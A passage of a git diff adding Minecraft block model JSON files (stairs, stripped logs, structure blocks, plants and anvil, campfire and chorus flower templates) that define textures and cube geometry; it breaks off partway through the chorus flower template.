100644 index 00000000..0c9ca093 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/stone", + "top": "minecraft:block/stone", + "side": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_stairs_inner.json b/src/assets/minecraft/models/block/stone_stairs_inner.json new file mode 100644 index 00000000..321253f7 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/stone", + "top": "minecraft:block/stone", + "side": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_stairs_outer.json b/src/assets/minecraft/models/block/stone_stairs_outer.json new file mode 100644 index 00000000..e3d5fe4c --- /dev/null +++ b/src/assets/minecraft/models/block/stone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/stone", + "top": "minecraft:block/stone", + "side": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stonecutter.json b/src/assets/minecraft/models/block/stonecutter.json new file mode 100644 index 00000000..3a02d854 --- /dev/null +++ b/src/assets/minecraft/models/block/stonecutter.json @@ -0,0 +1,29 @@ +{ "parent": "block/block", + "textures": { + "particle": "block/stonecutter_bottom", + "bottom": "block/stonecutter_bottom", + "top": "block/stonecutter_top", + "side": "block/stonecutter_side", + "saw": "block/stonecutter_saw" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 9, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 7, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 7, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 7, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 7, 16, 16 ], "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 1, 9, 8 ], + "to": [ 15, 16, 8 ], + "faces": { + "north": { "uv": [ 1, 9, 15, 16 ], "texture": "#saw", "tintindex": 0 }, + "south": { "uv": [ 1, 9, 15, 16 ], "texture": "#saw", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stripped_acacia_log.json b/src/assets/minecraft/models/block/stripped_acacia_log.json new file mode 100644 index 00000000..54d47b63 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_acacia_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_acacia_log_top", + "side": "minecraft:block/stripped_acacia_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_acacia_log_horizontal.json b/src/assets/minecraft/models/block/stripped_acacia_log_horizontal.json new file mode 100644 index 00000000..454c86b5 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_acacia_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/stripped_acacia_log_top", + "side": "minecraft:block/stripped_acacia_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_acacia_wood.json b/src/assets/minecraft/models/block/stripped_acacia_wood.json new file mode 100644 index 00000000..1583b0d5 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_acacia_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_acacia_log", + "side": "minecraft:block/stripped_acacia_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_birch_log.json b/src/assets/minecraft/models/block/stripped_birch_log.json new file mode 100644 index 00000000..d7e395a7 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_birch_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_birch_log_top", + "side": "minecraft:block/stripped_birch_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_birch_log_horizontal.json b/src/assets/minecraft/models/block/stripped_birch_log_horizontal.json new file mode 100644 index 00000000..6f62e421 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_birch_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/stripped_birch_log_top", + "side": "minecraft:block/stripped_birch_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_birch_wood.json b/src/assets/minecraft/models/block/stripped_birch_wood.json new file mode 100644 index 00000000..4faf78e3 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_birch_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_birch_log", + "side": "minecraft:block/stripped_birch_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_crimson_hyphae.json b/src/assets/minecraft/models/block/stripped_crimson_hyphae.json new file mode 100644 index 00000000..cbc86c4d --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_crimson_hyphae.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_crimson_stem", + "side": "minecraft:block/stripped_crimson_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_crimson_stem.json b/src/assets/minecraft/models/block/stripped_crimson_stem.json new file mode 100644 index 00000000..8104f731 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_crimson_stem.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_crimson_stem_top", + "side": "minecraft:block/stripped_crimson_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_dark_oak_log.json b/src/assets/minecraft/models/block/stripped_dark_oak_log.json new file mode 100644 index 00000000..fa1dedea --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_dark_oak_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_dark_oak_log_top", + "side": "minecraft:block/stripped_dark_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_dark_oak_log_horizontal.json b/src/assets/minecraft/models/block/stripped_dark_oak_log_horizontal.json new file mode 100644 index 00000000..c4e5e432 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_dark_oak_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/stripped_dark_oak_log_top", + "side": "minecraft:block/stripped_dark_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_dark_oak_wood.json b/src/assets/minecraft/models/block/stripped_dark_oak_wood.json new file mode 100644 index 00000000..1ca9d015 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_dark_oak_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_dark_oak_log", + "side": "minecraft:block/stripped_dark_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_jungle_log.json b/src/assets/minecraft/models/block/stripped_jungle_log.json new file mode 100644 index 00000000..d40694df --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_jungle_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_jungle_log_top", + "side": "minecraft:block/stripped_jungle_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_jungle_log_horizontal.json b/src/assets/minecraft/models/block/stripped_jungle_log_horizontal.json new file mode 100644 index 00000000..0dd48d1c --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_jungle_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/stripped_jungle_log_top", + "side": "minecraft:block/stripped_jungle_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_jungle_wood.json b/src/assets/minecraft/models/block/stripped_jungle_wood.json new file mode 100644 index 00000000..f4b0fe76 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_jungle_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_jungle_log", + "side": "minecraft:block/stripped_jungle_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_oak_log.json b/src/assets/minecraft/models/block/stripped_oak_log.json new file mode 100644 index 00000000..4b3fc057 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_oak_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_oak_log_top", + "side": "minecraft:block/stripped_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_oak_log_horizontal.json b/src/assets/minecraft/models/block/stripped_oak_log_horizontal.json new file mode 100644 index 00000000..a1163f03 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_oak_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/stripped_oak_log_top", + "side": "minecraft:block/stripped_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_oak_wood.json b/src/assets/minecraft/models/block/stripped_oak_wood.json new file mode 100644 index 00000000..554325dd --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_oak_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_oak_log", + "side": "minecraft:block/stripped_oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_spruce_log.json b/src/assets/minecraft/models/block/stripped_spruce_log.json new file mode 100644 index 00000000..665bd31b --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_spruce_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_spruce_log_top", + "side": "minecraft:block/stripped_spruce_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_spruce_log_horizontal.json b/src/assets/minecraft/models/block/stripped_spruce_log_horizontal.json new file mode 100644 index 00000000..7a4c1139 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_spruce_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/stripped_spruce_log_top", + "side": "minecraft:block/stripped_spruce_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_spruce_wood.json b/src/assets/minecraft/models/block/stripped_spruce_wood.json new file mode 100644 index 00000000..6c96a668 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_spruce_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_spruce_log", + "side": "minecraft:block/stripped_spruce_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_warped_hyphae.json b/src/assets/minecraft/models/block/stripped_warped_hyphae.json new file mode 100644 index 00000000..fa055c37 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_warped_hyphae.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_warped_stem", + "side": "minecraft:block/stripped_warped_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stripped_warped_stem.json b/src/assets/minecraft/models/block/stripped_warped_stem.json new file mode 100644 index 00000000..adcfb554 --- /dev/null +++ b/src/assets/minecraft/models/block/stripped_warped_stem.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/stripped_warped_stem_top", + "side": "minecraft:block/stripped_warped_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/structure_block.json b/src/assets/minecraft/models/block/structure_block.json new file mode 100644 index 00000000..ab31c0ae --- /dev/null +++ b/src/assets/minecraft/models/block/structure_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/structure_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/structure_block_corner.json b/src/assets/minecraft/models/block/structure_block_corner.json new file mode 100644 index 00000000..d5522e3b --- /dev/null +++ b/src/assets/minecraft/models/block/structure_block_corner.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/structure_block_corner" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/structure_block_data.json b/src/assets/minecraft/models/block/structure_block_data.json new file mode 100644 index 00000000..a0e707f6 --- /dev/null +++ b/src/assets/minecraft/models/block/structure_block_data.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/structure_block_data" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/structure_block_load.json b/src/assets/minecraft/models/block/structure_block_load.json new file mode 100644 index 00000000..80e3237b --- /dev/null +++ b/src/assets/minecraft/models/block/structure_block_load.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/structure_block_load" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/structure_block_save.json b/src/assets/minecraft/models/block/structure_block_save.json new file mode 100644 index 00000000..7e6967ac --- /dev/null +++ b/src/assets/minecraft/models/block/structure_block_save.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/structure_block_save" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/structure_void.json b/src/assets/minecraft/models/block/structure_void.json new file mode 100644 index 00000000..7003f085 --- /dev/null +++ b/src/assets/minecraft/models/block/structure_void.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:item/structure_void" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sugar_cane.json b/src/assets/minecraft/models/block/sugar_cane.json new file mode 100644 index 00000000..c4092853 --- /dev/null +++ b/src/assets/minecraft/models/block/sugar_cane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/sugar_cane" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sunflower_bottom.json b/src/assets/minecraft/models/block/sunflower_bottom.json new file mode 100644 index 00000000..f9b91c41 --- /dev/null +++ b/src/assets/minecraft/models/block/sunflower_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/sunflower_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sunflower_top.json b/src/assets/minecraft/models/block/sunflower_top.json new file mode 100644 index 00000000..f98a1802 --- /dev/null +++ b/src/assets/minecraft/models/block/sunflower_top.json @@ -0,0 +1,53 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/sunflower_front", + "cross": "block/sunflower_top", + "back": "block/sunflower_back", + "front": "block/sunflower_front" + }, + "elements": [ + { "from": [ 0.8, 0, 8 ], + "to": [ 15.2, 8, 8 ], + "rotation": { + "origin": [ 8, 8, 8 ], + "axis": "y", + "angle": 45, + "rescale": true + }, + "shade": false, + "faces": { + "north": { "uv": [ 0, 8, 16, 16 ], "texture": "#cross" }, + "south": { "uv": [ 0, 8, 16, 16 ], "texture": "#cross" } + } + }, + { "from": [ 8, 0, 0.8 ], + "to": [ 8, 8, 15.2 ], + "rotation": { + "origin": [ 8, 8, 8 ], + "axis": "y", + "angle": 45, + "rescale": true + }, + "shade": false, + "faces": { + "west": { "uv": [ 0, 8, 16, 16 ], "texture": "#cross" }, + "east": { "uv": [ 0, 8, 16, 16 ], "texture": "#cross" } + } + }, + { "from": [ 9.6, -1, 1 ], + "to": [ 9.6, 15, 15 ], + "rotation": { + "origin": [ 8, 8, 8 ], + "axis": "z", + "angle": 22.5, + "rescale": true + }, + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#back" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#front" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/sweet_berry_bush_stage0.json b/src/assets/minecraft/models/block/sweet_berry_bush_stage0.json new file mode 100644 index 00000000..35d51667 --- /dev/null +++ b/src/assets/minecraft/models/block/sweet_berry_bush_stage0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/sweet_berry_bush_stage0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sweet_berry_bush_stage1.json b/src/assets/minecraft/models/block/sweet_berry_bush_stage1.json new file mode 100644 index 00000000..af18f15b --- /dev/null +++ b/src/assets/minecraft/models/block/sweet_berry_bush_stage1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/sweet_berry_bush_stage1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sweet_berry_bush_stage2.json b/src/assets/minecraft/models/block/sweet_berry_bush_stage2.json new file mode 100644 index 00000000..d1227845 --- /dev/null +++ b/src/assets/minecraft/models/block/sweet_berry_bush_stage2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/sweet_berry_bush_stage2" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sweet_berry_bush_stage3.json b/src/assets/minecraft/models/block/sweet_berry_bush_stage3.json new file mode 100644 index 00000000..9625d2da --- /dev/null +++ b/src/assets/minecraft/models/block/sweet_berry_bush_stage3.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/sweet_berry_bush_stage3" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tall_grass_bottom.json b/src/assets/minecraft/models/block/tall_grass_bottom.json new file mode 100644 index 00000000..aedd5f4f --- /dev/null +++ b/src/assets/minecraft/models/block/tall_grass_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/tall_grass_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tall_grass_top.json b/src/assets/minecraft/models/block/tall_grass_top.json new file mode 100644 index 00000000..ca1f32dd --- /dev/null +++ b/src/assets/minecraft/models/block/tall_grass_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/tall_grass_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tall_seagrass_bottom.json b/src/assets/minecraft/models/block/tall_seagrass_bottom.json new file mode 100644 index 00000000..84613667 --- /dev/null +++ b/src/assets/minecraft/models/block/tall_seagrass_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_seagrass", + "textures": { + "texture": "minecraft:block/tall_seagrass_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tall_seagrass_top.json b/src/assets/minecraft/models/block/tall_seagrass_top.json new file mode 100644 index 00000000..ce30eefc --- /dev/null +++ b/src/assets/minecraft/models/block/tall_seagrass_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_seagrass", + "textures": { + "texture": "minecraft:block/tall_seagrass_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/target.json b/src/assets/minecraft/models/block/target.json new file mode 100644 index 00000000..061cd788 --- /dev/null +++ b/src/assets/minecraft/models/block/target.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/target_top", + "side": "minecraft:block/target_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/template_anvil.json b/src/assets/minecraft/models/block/template_anvil.json new file mode 100644 index 00000000..195ede53 --- /dev/null +++ b/src/assets/minecraft/models/block/template_anvil.json @@ -0,0 +1,60 @@ +{ "parent": "block/block", + "textures": { + "particle": "block/anvil", + "body": "block/anvil" + }, + "display": { + "fixed": { + "rotation": [ 0, 90, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 0.5, 0.5, 0.5 ] + } + }, + "elements": [ + { "__comment": "Anvil base", + "from": [ 2, 0, 2 ], + "to": [ 14, 4, 14 ], + "faces": { + "down": { "uv": [ 2, 2, 14, 14 ], "texture": "#body", "rotation": 180, "cullface": "down" }, + "up": { "uv": [ 2, 2, 14, 14 ], "texture": "#body", "rotation": 180 }, + "north": { "uv": [ 2, 12, 14, 16 ], "texture": "#body" }, + "south": { "uv": [ 2, 12, 14, 16 ], "texture": "#body" }, + "west": { "uv": [ 0, 2, 4, 14 ], "texture": "#body", "rotation": 90 }, + "east": { "uv": [ 4, 2, 0, 14 ], "texture": "#body", "rotation": 270 } + } + }, + { "__comment": "Lower narrow portion", + "from": [ 4, 4, 3 ], + "to": [ 12, 5, 13 ], + "faces": { + "up": { "uv": [ 4, 3, 12, 13 ], "texture": "#body", "rotation": 180 }, + "north": { "uv": [ 4, 11, 12, 12 ], "texture": "#body" }, + "south": { "uv": [ 4, 11, 12, 12 ], "texture": "#body" }, + "west": { "uv": [ 4, 3, 5, 13 ], "texture": "#body", "rotation": 90 }, + "east": { "uv": [ 5, 3, 4, 13 ], "texture": "#body", "rotation": 270 } + } + }, + { "__comment": "Wider section beneath top portion", + "from": [ 6, 5, 4 ], + "to": [ 10, 10, 12 ], + "faces": { + "north": { "uv": [ 6, 6, 10, 11 ], "texture": "#body" }, + "south": { "uv": [ 6, 6, 10, 11 ], "texture": "#body" }, + "west": { "uv": [ 5, 4, 10, 12 ], "texture": "#body", "rotation": 90 }, + "east": { "uv": [ 10, 4, 5, 12 ], "texture": "#body", "rotation": 270 } + } + }, + { "__comment": "Anvil top", + "from": [ 3, 10, 0 ], + "to": [ 13, 16, 16 ], + "faces": { + "down": { "uv": [ 3, 0, 13, 16 ], "texture": "#body", "rotation": 180 }, + "up": { "uv": [ 3, 0, 13, 16 ], "texture": "#top", "rotation": 180 }, + "north": { "uv": [ 3, 0, 13, 6 ], "texture": "#body" }, + "south": { "uv": [ 3, 0, 13, 6 ], "texture": "#body" }, + "west": { "uv": [ 10, 0, 16, 16 ], "texture": "#body", "rotation": 90 }, + "east": { "uv": [ 16, 0, 10, 16 ], "texture": "#body", "rotation": 270 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/template_campfire.json b/src/assets/minecraft/models/block/template_campfire.json new file mode 100644 index 00000000..85587666 --- /dev/null +++ b/src/assets/minecraft/models/block/template_campfire.json @@ -0,0 +1,91 @@ +{ + "parent": "block/block", + "display": { + "head": { + "translation": [ 0, 10.5, 0 ] + } + }, + "textures": { + "particle": "block/campfire_log", + "log": "block/campfire_log" + }, + "elements": [ + { + "from": [ 1, 0, 0 ], + "to": [ 5, 4, 16 ], + "faces": { + "north": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "north" }, + "east": { "uv": [ 0, 1, 16, 5 ], "texture": "#lit_log" }, + "south": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "south" }, + "west": { "uv": [ 16, 0, 0, 4 ], "texture": "#log" }, + "up": { "uv": [ 0, 0, 16, 4 ], "rotation": 90, "texture": "#log" }, + "down": { "uv": [ 0, 0, 16, 4 ], "rotation": 90, "texture": "#log", "cullface": "down" } + } + }, + { + "from": [ 0, 3, 11 ], + "to": [ 16, 7, 15 ], + "faces": { + "north": { "uv": [ 16, 0, 0, 4 ], "texture": "#lit_log" }, + "east": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "east" }, + "south": { "uv": [ 0, 0, 16, 4 ], "texture": "#lit_log" }, + "west": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "west" }, + "up": { "uv": [ 0, 0, 16, 4 ], "rotation": 180, "texture": "#log" }, + "down": { "uv": [ 0, 4, 16, 8 ], "texture": "#lit_log" } + } + }, + { + "from": [ 11, 0, 0 ], + "to": [ 15, 4, 16 ], + "faces": { + "north": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "north" }, + "east": { "uv": [ 0, 0, 16, 4 ], "texture": "#log" }, + "south": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "south" }, + "west": { "uv": [ 16, 1, 0, 5 ], "texture": "#lit_log" }, + "up": { "uv": [ 0, 0, 16, 4 ], "rotation": 90, "texture": "#log" }, + "down": { "uv": [ 0, 0, 16, 4 ], "rotation": 90, "texture": "#log", "cullface": "down" } + } + }, + { + "from": [ 0, 3, 1 ], + "to": [ 16, 7, 5 ], + "faces": { + "north": { "uv": [ 0, 0, 16, 4 ], "texture": "#lit_log" }, + "east": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "east" }, + "south": { "uv": [ 16, 0, 0, 4 ], "texture": "#lit_log" }, + "west": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "west" }, + "up": { "uv": [ 0, 0, 16, 4 ], "rotation": 180, "texture": "#log" }, + "down": { "uv": [ 0, 4, 16, 8 ], "texture": "#lit_log" } + } + }, + { + "from": [ 5, 0, 0 ], + "to": [ 11, 1, 16 ], + "faces": { + "north": {"uv": [ 0, 15, 6, 16 ], "texture": "#log", "cullface": "north" }, + "south": {"uv": [ 10, 15, 16, 16 ], "texture": "#log", "cullface": "south" }, + "up": {"uv": [ 0, 8, 16, 14 ], "rotation": 90, "texture": "#lit_log" }, + "down": {"uv": [ 0, 8, 16, 14 ], "rotation": 90, "texture": "#log", "cullface": "down" } + } + }, + { "from": [ 0.8, 1, 8 ], + "to": [ 15.2, 17, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" } + } + }, + { "from": [ 8, 1, 0.8 ], + "to": [ 8, 17, 15.2 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#fire" } + } + } + ] +} + diff --git a/src/assets/minecraft/models/block/template_chorus_flower.json b/src/assets/minecraft/models/block/template_chorus_flower.json new file mode 100644 index 00000000..06b850dd --- /dev/null +++ b/src/assets/minecraft/models/block/template_chorus_flower.json @@ -0,0 +1,76 @@ +{ + "parent": "block/block", + "textures": { + "bottom": "block/chorus_plant", + "particle": "#texture" + }, + "elements": [ + { + "from": [ 2, 14, 2 ], + "to": [ 14, 16, 14 ], + "faces": { + "up": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture" }, + "north": { "uv": [ 2, 0, 14, 2 ], "texture": "#bottom" }, + "south": { "uv": [ 2, 0, 14, 2 ], "texture": "#bottom" }, + "west": { "uv": [ 2, 0, 14, 2 ], "texture": "#bottom" }, + "east": { "uv": [ 2, 0, 14, 2 ], "texture": "#bottom" } + } + }, + { + "from": [ 0, 2, 2 ], + "to": [ 2, 14, 14 ], + "faces": { + "down": { "uv": [ 16, 14, 14, 2 ], "texture": "#bottom" }, + "up": { "uv": [ 0, 2, 2, 14 ], "texture": "#bottom" }, + "north": { "uv": [ 14, 2, 16, 14 ], "texture": "#bottom" }, + "south": { "uv": [ 0, 2, 2, 14 ], "texture": "#bottom" }, + "west": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture" } + } + }, + { + "from": [ 2, 2, 0 ], + "to": [ 14, 14, 2 ], + "faces": { + "down": { "uv": [ 14, 2, 2, 0 ], "texture": "#bottom" }, + "up": { "uv": [ 2, 0, 14, 2 ], "texture": "#bottom" }, + "north": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture" }, + "west": { "uv": [ 0, 2, 2, 14 ], "texture": "#bottom" }, + "east": { "uv": [ 14, 2, 16, 14 ], "texture": "#bottom" } + } + }, + { + "from": [ 2, 2, 14 ], + "to": [ 14, 14, 16 ], + "faces": { + "down": { "uv": [ 14, 16, 2, 14 ], "texture": "#bottom" }, + "up": { "uv": [ 2, 14, 14, 16 ], "texture": "#bottom" }, + "south": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture" }, + "west": { "uv": [ 14, 2, 16, 14 ], "texture": "#bottom" }, + "east": { "uv": [ 0, 2, 2, 14 ], "texture": "#bottom" } + } + }, + { + "from": [ 14, 2, 2 ], + "to": [ 16, 14, 14 ], + "faces": { + "down": { "uv": [ 2, 14, 0, 2 ], "texture": "#bottom" }, + "up": { "uv": [ 14, 2, 16, 14 ], "texture": "#bottom" }, + "north": { "uv": [ 0, 2, 2, 14 ], "texture": "#bottom" }, + "south": { "uv": [ 14, 2, 16, 14 ], "texture": "#bottom" }, + "east": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture" } + } + }, + { + "from": [ 2, 0, 2 ], + "to": [ 14, 14, 14 ], + "faces": { + "up": { "uv": [ 2, 2, 14, 14 ], "texture": "#bottom" }, + "down": { "uv": [ 14, 14, 2, 2 ], "texture": "#bottom" }, + "north": { "uv": [ 2, 2, 14, 16 ], "texture": "#bottom" }, + "south": { "uv": [ 2, 2, 14, 16 ], "texture": "#bottom" }, + "west": { "uv": [ 2, 2, 